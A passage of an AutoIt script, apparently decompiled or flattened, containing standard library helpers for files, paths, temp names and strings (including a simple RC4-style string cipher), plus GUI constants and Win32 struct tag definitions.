  1464. Global Const $sort_german_phone_book = 1
  1465. Global Const $sort_hungarian_default = 0
  1466. Global Const $sort_hungarian_technical = 1
  1467. Global Const $sort_georgian_traditional = 0
  1468. Global Const $sort_georgian_modern = 1
  1469. Global Const $ss_left = 0
  1470. Global Const $ss_center = 1
  1471. Global Const $ss_right = 2
  1472. Global Const $ss_icon = 3
  1473. Global Const $ss_blackrect = 4
  1474. Global Const $ss_grayrect = 5
  1475. Global Const $ss_whiterect = 6
  1476. Global Const $ss_blackframe = 7
  1477. Global Const $ss_grayframe = 8
  1478. Global Const $ss_whiteframe = 9
  1479. Global Const $ss_simple = 11
  1480. Global Const $ss_leftnowordwrap = 12
  1481. Global Const $ss_bitmap = 14
  1482. Global Const $ss_etchedhorz = 16
  1483. Global Const $ss_etchedvert = 17
  1484. Global Const $ss_etchedframe = 18
  1485. Global Const $ss_noprefix = 128
  1486. Global Const $ss_notify = 256
  1487. Global Const $ss_centerimage = 512
  1488. Global Const $ss_rightjust = 1024
  1489. Global Const $ss_sunken = 4096
  1490. Global Const $gui_ss_default_label = 0
  1491. Global Const $gui_ss_default_graphic = 0
  1492. Global Const $gui_ss_default_icon = $ss_notify
  1493. Global Const $gui_ss_default_pic = $ss_notify
  1494.  
  1495. Func _filecountlines($sfilepath)
  1496. Local $hfile = FileOpen($sfilepath, $fo_read)
  1497. If $hfile = -1 Then Return SetError(1, 0, 0)
  1498. Local $sfilecontent = StringStripWS(FileRead($hfile), 2)
  1499. FileClose($hfile)
  1500. Local $atmp
  1501. If StringInStr($sfilecontent, @LF) Then
  1502. $atmp = StringSplit(StringStripCR($sfilecontent), @LF)
  1503. ElseIf StringInStr($sfilecontent, @CR) Then
  1504. $atmp = StringSplit($sfilecontent, @CR)
  1505. Else
  1506. If StringLen($sfilecontent) Then
  1507. Return 1
  1508. Else
  1509. Return SetError(2, 0, 0)
  1510. EndIf
  1511. EndIf
  1512. Return $atmp[0]
  1513. EndFunc
  1514.  
  1515. Func _filecreate($sfilepath)
  1516. Local $hopenfile = FileOpen($sfilepath, $fo_overwrite)
  1517. If $hopenfile = -1 Then Return SetError(1, 0, 0)
  1518. Local $hwritefile = FileWrite($hopenfile, "")
  1519. FileClose($hopenfile)
  1520. If $hwritefile = -1 Then Return SetError(2, 0, 0)
  1521. Return 1
  1522. EndFunc
  1523.  
  1524. Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
  1525. Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
  1526. $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
  1527. If NOT FileExists($spath) Then Return SetError(1, 1, "")
  1528. If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "")
  1529. If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "")
  1530. $hsearch = FileFindFirstFile($spath & $sfilter)
  1531. If @error Then Return SetError(4, 4, "")
  1532. While 1
  1533. $sfile = FileFindNextFile($hsearch)
  1534. If @error Then ExitLoop
  1535. If ($iflag + @extended = 2) Then ContinueLoop
  1536. $sfilelist &= $sdelim & $sfile
  1537. WEnd
  1538. FileClose($hsearch)
  1539. If NOT $sfilelist Then Return SetError(4, 4, "")
  1540. Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
  1541. EndFunc
  1542.  
  1543. Func _fileprint($s_file, $i_show = @SW_HIDE)
  1544. Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show)
  1545. If @error Then Return SetError(@error, @extended, 0)
  1546. If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0)
  1547. Return 1
  1548. EndFunc
  1549.  
  1550. Func _filereadtoarray($sfilepath, ByRef $aarray)
  1551. Local $hfile = FileOpen($sfilepath, $fo_read)
  1552. If $hfile = -1 Then Return SetError(1, 0, 0)
  1553. Local $afile = FileRead($hfile, FileGetSize($sfilepath))
  1554. If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
  1555. If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
  1556. FileClose($hfile)
  1557. If StringInStr($afile, @LF) Then
  1558. $aarray = StringSplit(StringStripCR($afile), @LF)
  1559. ElseIf StringInStr($afile, @CR) Then
  1560. $aarray = StringSplit($afile, @CR)
  1561. Else
  1562. If StringLen($afile) Then
  1563. Dim $aarray[2] = [1, $afile]
  1564. Else
  1565. Return SetError(2, 0, 0)
  1566. EndIf
  1567. EndIf
  1568. Return 1
  1569. EndFunc
  1570.  
  1571. Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0, $s_delim = "|")
  1572. If NOT IsArray($a_array) Then Return SetError(2, 0, 0)
  1573. Local $idims = UBound($a_array, 0)
  1574. If $idims > 2 Then Return SetError(4, 0, 0)
  1575. Local $last = UBound($a_array) - 1
  1576. If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last
  1577. If $i_base < 0 OR $i_base > $last Then $i_base = 0
  1578. Local $hfile
  1579. If IsString($file) Then
  1580. $hfile = FileOpen($file, $fo_overwrite)
  1581. Else
  1582. $hfile = $file
  1583. EndIf
  1584. If $hfile = -1 Then Return SetError(1, 0, 0)
  1585. Local $errorsav = 0
  1586. Switch $idims
  1587. Case 1
  1588. For $x = $i_base To $i_ubound
  1589. If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then
  1590. $errorsav = 3
  1591. ExitLoop
  1592. EndIf
  1593. Next
  1594. Case 2
  1595. Local $s_temp
  1596. For $x = $i_base To $i_ubound
  1597. $s_temp = $a_array[$x][0]
  1598. For $y = 1 To $idims
  1599. $s_temp &= $s_delim & $a_array[$x][$y]
  1600. Next
  1601. If FileWrite($hfile, $s_temp & @CRLF) = 0 Then
  1602. $errorsav = 3
  1603. ExitLoop
  1604. EndIf
  1605. Next
  1606. EndSwitch
  1607. If IsString($file) Then FileClose($hfile)
  1608. If $errorsav Then Return SetError($errorsav, 0, 0)
  1609. Return 1
  1610. EndFunc
  1611.  
  1612. Func _filewritelog($slogpath, $slogmsg, $iflag = -1)
  1613. Local $hopenfile = $slogpath, $iopenmode = $fo_append
  1614. Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY
  1615. Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC
  1616. Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg
  1617. If $iflag <> -1 Then
  1618. $smsg &= @CRLF & FileRead($slogpath)
  1619. $iopenmode = $fo_overwrite
  1620. EndIf
  1621. If IsString($slogpath) Then
  1622. $hopenfile = FileOpen($slogpath, $iopenmode)
  1623. If $hopenfile = -1 Then
  1624. Return SetError(1, 0, 0)
  1625. EndIf
  1626. EndIf
  1627. Local $ireturn = FileWriteLine($hopenfile, $smsg)
  1628. If IsString($slogpath) Then
  1629. $ireturn = FileClose($hopenfile)
  1630. EndIf
  1631. If $ireturn <= 0 Then
  1632. Return SetError(2, $ireturn, 0)
  1633. EndIf
  1634. Return $ireturn
  1635. EndFunc
  1636.  
  1637. Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0)
  1638. If $iline <= 0 Then Return SetError(4, 0, 0)
  1639. If NOT IsString($stext) Then
  1640. $stext = String($stext)
  1641. If $stext = "" Then Return SetError(6, 0, 0)
  1642. EndIf
  1643. If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0)
  1644. If NOT FileExists($sfile) Then Return SetError(2, 0, 0)
  1645. Local $sread_file = FileRead($sfile)
  1646. Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF)
  1647. If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0)
  1648. Local $iencoding = FileGetEncoding($sfile)
  1649. Local $hfile = FileOpen($sfile, $iencoding + $fo_overwrite)
  1650. If $hfile = -1 Then Return SetError(3, 0, 0)
  1651. $sread_file = ""
  1652. For $i = 1 To $asplit_file[0]
  1653. If $i = $iline Then
  1654. If $foverwrite = 1 Then
  1655. If $stext <> "" Then $sread_file &= $stext & @CRLF
  1656. Else
  1657. $sread_file &= $stext & @CRLF & $asplit_file[$i] & @CRLF
  1658. EndIf
  1659. ElseIf $i < $asplit_file[0] Then
  1660. $sread_file &= $asplit_file[$i] & @CRLF
  1661. ElseIf $i = $asplit_file[0] Then
  1662. $sread_file &= $asplit_file[$i]
  1663. EndIf
  1664. Next
  1665. FileWrite($hfile, $sread_file)
  1666. FileClose($hfile)
  1667. Return 1
  1668. EndFunc
  1669.  
  1670. Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
  1671. If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
  1672. Local $sfullpath = StringReplace($srelativepath, "/", "\")
  1673. Local Const $sfullpathconst = $sfullpath
  1674. Local $spath
  1675. Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\"
  1676. For $i = 1 To 2
  1677. $spath = StringLeft($sfullpath, 2)
  1678. If $spath = "\\" Then
  1679. $sfullpath = StringTrimLeft($sfullpath, 2)
  1680. Local $nserverlen = StringInStr($sfullpath, "\") - 1
  1681. $spath = "\\" & StringLeft($sfullpath, $nserverlen)
  1682. $sfullpath = StringTrimLeft($sfullpath, $nserverlen)
  1683. ExitLoop
  1684. ElseIf StringRight($spath, 1) = ":" Then
  1685. $sfullpath = StringTrimLeft($sfullpath, 2)
  1686. ExitLoop
  1687. Else
  1688. $sfullpath = $sbasepath & "\" & $sfullpath
  1689. EndIf
  1690. Next
  1691. If $i = 3 Then Return ""
  1692. If StringLeft($sfullpath, 1) <> "\" Then
  1693. If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then
  1694. $sfullpath = $sbasepath & "\" & $sfullpath
  1695. Else
  1696. $sfullpath = "\" & $sfullpath
  1697. EndIf
  1698. EndIf
  1699. Local $atemp = StringSplit($sfullpath, "\")
  1700. Local $apathparts[$atemp[0]], $j = 0
  1701. For $i = 2 To $atemp[0]
  1702. If $atemp[$i] = ".." Then
  1703. If $j Then $j -= 1
  1704. ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then
  1705. $apathparts[$j] = $atemp[$i]
  1706. $j += 1
  1707. EndIf
  1708. Next
  1709. $sfullpath = $spath
  1710. If NOT $brootonly Then
  1711. For $i = 0 To $j - 1
  1712. $sfullpath &= "\" & $apathparts[$i]
  1713. Next
  1714. Else
  1715. $sfullpath &= $sfullpathconst
  1716. If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath)
  1717. EndIf
  1718. While StringInStr($sfullpath, ".\")
  1719. $sfullpath = StringReplace($sfullpath, ".\", "\")
  1720. WEnd
  1721. Return $sfullpath
  1722. EndFunc
  1723.  
  1724. Func _pathgetrelative($sfrom, $sto)
  1725. If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
  1726. If StringRight($sto, 1) <> "\" Then $sto &= "\"
  1727. If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
  1728. Local $asfrom = StringSplit($sfrom, "\")
  1729. Local $asto = StringSplit($sto, "\")
  1730. If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1))
  1731. Local $i = 2
  1732. Local $idiff = 1
  1733. While 1
  1734. If $asfrom[$i] <> $asto[$i] Then
  1735. $idiff = $i
  1736. ExitLoop
  1737. EndIf
  1738. $i += 1
  1739. WEnd
  1740. $i = 1
  1741. Local $srelpath = ""
  1742. For $j = 1 To $asto[0]
  1743. If $i >= $idiff Then
  1744. $srelpath &= "\" & $asto[$i]
  1745. EndIf
  1746. $i += 1
  1747. Next
  1748. $srelpath = StringTrimLeft($srelpath, 1)
  1749. $i = 1
  1750. For $j = 1 To $asfrom[0]
  1751. If $i > $idiff Then
  1752. $srelpath = "..\" & $srelpath
  1753. EndIf
  1754. $i += 1
  1755. Next
  1756. If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1)
  1757. Return $srelpath
  1758. EndFunc
  1759.  
  1760. Func _pathmake($szdrive, $szdir, $szfname, $szext)
  1761. If StringLen($szdrive) Then
  1762. If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":"
  1763. EndIf
  1764. If StringLen($szdir) Then
  1765. If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\"
  1766. EndIf
  1767. If StringLen($szext) Then
  1768. If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext
  1769. EndIf
  1770. Return $szdrive & $szdir & $szfname & $szext
  1771. EndFunc
  1772.  
  1773. Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext)
  1774. Local $drive = ""
  1775. Local $dir = ""
  1776. Local $fname = ""
  1777. Local $ext = ""
  1778. Local $pos
  1779. Local $array[5]
  1780. $array[0] = $szpath
  1781. If StringMid($szpath, 2, 1) = ":" Then
  1782. $drive = StringLeft($szpath, 2)
  1783. $szpath = StringTrimLeft($szpath, 2)
  1784. ElseIf StringLeft($szpath, 2) = "\\" Then
  1785. $szpath = StringTrimLeft($szpath, 2)
  1786. $pos = StringInStr($szpath, "\")
  1787. If $pos = 0 Then $pos = StringInStr($szpath, "/")
  1788. If $pos = 0 Then
  1789. $drive = "\\" & $szpath
  1790. $szpath = ""
  1791. Else
  1792. $drive = "\\" & StringLeft($szpath, $pos - 1)
  1793. $szpath = StringTrimLeft($szpath, $pos - 1)
  1794. EndIf
  1795. EndIf
  1796. Local $nposforward = StringInStr($szpath, "/", 0, -1)
  1797. Local $nposbackward = StringInStr($szpath, "\", 0, -1)
  1798. If $nposforward >= $nposbackward Then
  1799. $pos = $nposforward
  1800. Else
  1801. $pos = $nposbackward
  1802. EndIf
  1803. $dir = StringLeft($szpath, $pos)
  1804. $fname = StringRight($szpath, StringLen($szpath) - $pos)
  1805. If StringLen($dir) = 0 Then $fname = $szpath
  1806. $pos = StringInStr($fname, ".", 0, -1)
  1807. If $pos Then
  1808. $ext = StringRight($fname, StringLen($fname) - ($pos - 1))
  1809. $fname = StringLeft($fname, $pos - 1)
  1810. EndIf
  1811. $szdrive = $drive
  1812. $szdir = $dir
  1813. $szfname = $fname
  1814. $szext = $ext
  1815. $array[1] = $drive
  1816. $array[2] = $dir
  1817. $array[3] = $fname
  1818. $array[4] = $ext
  1819. Return $array
  1820. EndFunc
  1821.  
  1822. Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1)
  1823. Local $iretval = 0
  1824. Local $ncount, $sendswith
  1825. If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1)
  1826. Local $hfile = FileOpen($szfilename, $fo_read)
  1827. If $hfile = -1 Then Return SetError(1, 0, -1)
  1828. Local $s_totfile = FileRead($hfile, FileGetSize($szfilename))
  1829. If StringRight($s_totfile, 2) = @CRLF Then
  1830. $sendswith = @CRLF
  1831. ElseIf StringRight($s_totfile, 1) = @CR Then
  1832. $sendswith = @CR
  1833. ElseIf StringRight($s_totfile, 1) = @LF Then
  1834. $sendswith = @LF
  1835. Else
  1836. $sendswith = ""
  1837. EndIf
  1838. Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF)
  1839. FileClose($hfile)
  1840. Local $iencoding = FileGetEncoding($szfilename)
  1841. Local $hwritehandle = FileOpen($szfilename, $iencoding + $fo_overwrite)
  1842. If $hwritehandle = -1 Then Return SetError(2, 0, -1)
  1843. For $ncount = 1 To $afilelines[0]
  1844. If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then
  1845. $afilelines[$ncount] = StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness)
  1846. $iretval = $iretval + 1
  1847. If $foccurance = 0 Then
  1848. $iretval = 1
  1849. ExitLoop
  1850. EndIf
  1851. EndIf
  1852. Next
  1853. For $ncount = 1 To $afilelines[0] - 1
  1854. If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then
  1855. FileClose($hwritehandle)
  1856. Return SetError(3, 0, -1)
  1857. EndIf
  1858. Next
  1859. If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith)
  1860. FileClose($hwritehandle)
  1861. Return $iretval
  1862. EndFunc
  1863.  
  1864. Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7)
  1865. If IsKeyword($s_fileprefix) Then $s_fileprefix = "~"
  1866. If IsKeyword($s_fileextension) Then $s_fileextension = ".tmp"
  1867. If IsKeyword($i_randomlength) Then $i_randomlength = 7
  1868. If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
  1869. If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
  1870. If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\"
  1871. Local $s_tempname
  1872. Do
  1873. $s_tempname = ""
  1874. While StringLen($s_tempname) < $i_randomlength
  1875. $s_tempname = $s_tempname & Chr(Random(97, 122, 1))
  1876. WEnd
  1877. $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension
  1878. Until NOT FileExists($s_tempname)
  1879. Return $s_tempname
  1880. EndFunc
  1881.  
  1882. Func _hextostring($strhex)
  1883. If StringLeft($strhex, 2) = "0x" Then Return BinaryToString($strhex)
  1884. Return BinaryToString("0x" & $strhex)
  1885. EndFunc
  1886.  
  1887. Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1)
  1888. Local $s_case = ""
  1889. If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)"
  1890. Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
  1891. $s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1")
  1892. $s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1")
  1893. If $s_start = "" Then $s_start = "\A"
  1894. If $s_end = "" Then $s_end = "\z"
  1895. Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3)
  1896. If @error Then Return SetError(1, 0, 0)
  1897. Return $a_ret
  1898. EndFunc
  1899.  
  1900. Func _stringencrypt($i_encrypt, $s_encrypttext, $s_encryptpassword, $i_encryptlevel = 1)
  1901. If $i_encrypt <> 0 AND $i_encrypt <> 1 Then
  1902. SetError(1, 0, "")
  1903. ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then
  1904. SetError(1, 0, "")
  1905. Else
  1906. If Number($i_encryptlevel) <= 0 OR Int($i_encryptlevel) <> $i_encryptlevel Then $i_encryptlevel = 1
  1907. Local $v_encryptmodified
  1908. Local $i_encryptcounth
  1909. Local $i_encryptcountg
  1910. Local $v_encryptswap
  1911. Local $av_encryptbox[256][2]
  1912. Local $i_encryptcounta
  1913. Local $i_encryptcountb
  1914. Local $i_encryptcountc
  1915. Local $i_encryptcountd
  1916. Local $i_encryptcounte
  1917. Local $v_encryptcipher
  1918. Local $v_encryptcipherby
  1919. If $i_encrypt = 1 Then
  1920. For $i_encryptcountf = 0 To $i_encryptlevel Step 1
  1921. $i_encryptcountg = ""
  1922. $i_encryptcounth = ""
  1923. $v_encryptmodified = ""
  1924. For $i_encryptcountg = 1 To StringLen($s_encrypttext)
  1925. If $i_encryptcounth = StringLen($s_encryptpassword) Then
  1926. $i_encryptcounth = 1
  1927. Else
  1928. $i_encryptcounth += 1
  1929. EndIf
  1930. $v_encryptmodified = $v_encryptmodified & Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
  1931. Next
  1932. $s_encrypttext = $v_encryptmodified
  1933. $i_encryptcounta = ""
  1934. $i_encryptcountb = 0
  1935. $i_encryptcountc = ""
  1936. $i_encryptcountd = ""
  1937. $i_encryptcounte = ""
  1938. $v_encryptcipherby = ""
  1939. $v_encryptcipher = ""
  1940. $v_encryptswap = ""
  1941. $av_encryptbox = ""
  1942. Local $av_encryptbox[256][2]
  1943. For $i_encryptcounta = 0 To 255
  1944. $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
  1945. $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
  1946. Next
  1947. For $i_encryptcounta = 0 To 255
  1948. $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
  1949. $v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
  1950. $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
  1951. $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
  1952. Next
  1953. For $i_encryptcounta = 1 To StringLen($s_encrypttext)
  1954. $i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
  1955. $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
  1956. $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
  1957. $v_encryptcipherby = BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcounta, 1)), $i_encryptcounte)
  1958. $v_encryptcipher &= Hex($v_encryptcipherby, 2)
  1959. Next
  1960. $s_encrypttext = $v_encryptcipher
  1961. Next
  1962. Else
  1963. For $i_encryptcountf = 0 To $i_encryptlevel Step 1
  1964. $i_encryptcountb = 0
  1965. $i_encryptcountc = ""
  1966. $i_encryptcountd = ""
  1967. $i_encryptcounte = ""
  1968. $v_encryptcipherby = ""
  1969. $v_encryptcipher = ""
  1970. $v_encryptswap = ""
  1971. $av_encryptbox = ""
  1972. Local $av_encryptbox[256][2]
  1973. For $i_encryptcounta = 0 To 255
  1974. $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
  1975. $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
  1976. Next
  1977. For $i_encryptcounta = 0 To 255
  1978. $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
  1979. $v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
  1980. $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
  1981. $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
  1982. Next
  1983. For $i_encryptcounta = 1 To StringLen($s_encrypttext) Step 2
  1984. $i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
  1985. $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
  1986. $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
  1987. $v_encryptcipherby = BitXOR(Dec(StringMid($s_encrypttext, $i_encryptcounta, 2)), $i_encryptcounte)
  1988. $v_encryptcipher = $v_encryptcipher & Chr($v_encryptcipherby)
  1989. Next
  1990. $s_encrypttext = $v_encryptcipher
  1991. $i_encryptcountg = ""
  1992. $i_encryptcounth = ""
  1993. $v_encryptmodified = ""
  1994. For $i_encryptcountg = 1 To StringLen($s_encrypttext)
  1995. If $i_encryptcounth = StringLen($s_encryptpassword) Then
  1996. $i_encryptcounth = 1
  1997. Else
  1998. $i_encryptcounth += 1
  1999. EndIf
  2000. $v_encryptmodified &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
  2001. Next
  2002. $s_encrypttext = $v_encryptmodified
  2003. Next
  2004. EndIf
  2005. Return $s_encrypttext
  2006. EndIf
  2007. EndFunc
  2008.  
  2009. Func _stringexplode($sstring, $sdelimiter, $ilimit = 0)
  2010. If $ilimit > 0 Then
  2011. $sstring = StringReplace($sstring, $sdelimiter, Chr(0), $ilimit)
  2012. $sdelimiter = Chr(0)
  2013. ElseIf $ilimit < 0 Then
  2014. Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit)
  2015. If $iindex Then
  2016. $sstring = StringLeft($sstring, $iindex - 1)
  2017. EndIf
  2018. EndIf
  2019. Return StringSplit($sstring, $sdelimiter, 3)
  2020. EndFunc
  2021.  
  2022. Func _stringinsert($s_string, $s_insertstring, $i_position)
  2023. Local $i_length, $s_start, $s_end
  2024. If $s_string = "" OR (NOT IsString($s_string)) Then
  2025. Return SetError(1, 0, $s_string)
  2026. ElseIf $s_insertstring = "" OR (NOT IsString($s_string)) Then
  2027. Return SetError(2, 0, $s_string)
  2028. Else
  2029. $i_length = StringLen($s_string)
  2030. If (Abs($i_position) > $i_length) OR (NOT IsInt($i_position)) Then
  2031. Return SetError(3, 0, $s_string)
  2032. EndIf
  2033. EndIf
  2034. If $i_position = 0 Then
  2035. Return $s_insertstring & $s_string
  2036. ElseIf $i_position > 0 Then
  2037. $s_start = StringLeft($s_string, $i_position)
  2038. $s_end = StringRight($s_string, $i_length - $i_position)
  2039. Return $s_start & $s_insertstring & $s_end
  2040. ElseIf $i_position < 0 Then
  2041. $s_start = StringLeft($s_string, Abs($i_length + $i_position))
  2042. $s_end = StringRight($s_string, Abs($i_position))
  2043. Return $s_start & $s_insertstring & $s_end
  2044. EndIf
  2045. EndFunc
  2046.  
  2047. Func _stringproper($s_string)
  2048. Local $ix = 0
  2049. Local $capnext = 1
  2050. Local $s_nstr = ""
  2051. Local $s_curchar
  2052. For $ix = 1 To StringLen($s_string)
  2053. $s_curchar = StringMid($s_string, $ix, 1)
  2054. Select
  2055. Case $capnext = 1
  2056. If StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]") Then
  2057. $s_curchar = StringUpper($s_curchar)
  2058. $capnext = 0
  2059. EndIf
  2060. Case NOT StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]")
  2061. $capnext = 1
  2062. Case Else
  2063. $s_curchar = StringLower($s_curchar)
  2064. EndSelect
  2065. $s_nstr &= $s_curchar
  2066. Next
  2067. Return $s_nstr
  2068. EndFunc
  2069.  
  2070. Func _stringrepeat($sstring, $irepeatcount)
  2071. Local $sresult
  2072. Select
  2073. Case NOT StringIsInt($irepeatcount)
  2074. SetError(1)
  2075. Return ""
  2076. Case StringLen($sstring) < 1
  2077. SetError(1)
  2078. Return ""
  2079. Case $irepeatcount <= 0
  2080. SetError(1)
  2081. Return ""
  2082. Case Else
  2083. For $icount = 1 To $irepeatcount
  2084. $sresult &= $sstring
  2085. Next
  2086. Return $sresult
  2087. EndSelect
  2088. EndFunc
  2089.  
  2090. Func _stringreverse($s_string)
  2091. Local $i_len = StringLen($s_string)
  2092. If $i_len < 1 Then Return SetError(1, 0, "")
  2093. Local $t_chars = DllStructCreate("char[" & $i_len + 1 & "]")
  2094. DllStructSetData($t_chars, 1, $s_string)
  2095. Local $a_rev = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "struct*", $t_chars)
  2096. If @error OR $a_rev[0] = 0 Then Return SetError(2, 0, "")
  2097. Return DllStructGetData($t_chars, 1)
  2098. EndFunc
  2099.  
  2100. Func _stringtohex($strchar)
  2101. Return Hex(StringToBinary($strchar))
  2102. EndFunc
  2103.  
  2104. Global Const $tagpoint = "struct;long X;long Y;endstruct"
  2105. Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
  2106. Global Const $tagsize = "struct;long X;long Y;endstruct"
  2107. Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
  2108. Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
  2109. Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
  2110. Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
  2111. Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
  2112. Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
  2113. Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
  2114. Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
  2115. Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
  2116. Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
  2117. Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
  2118. Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
  2119. Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
  2120. Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
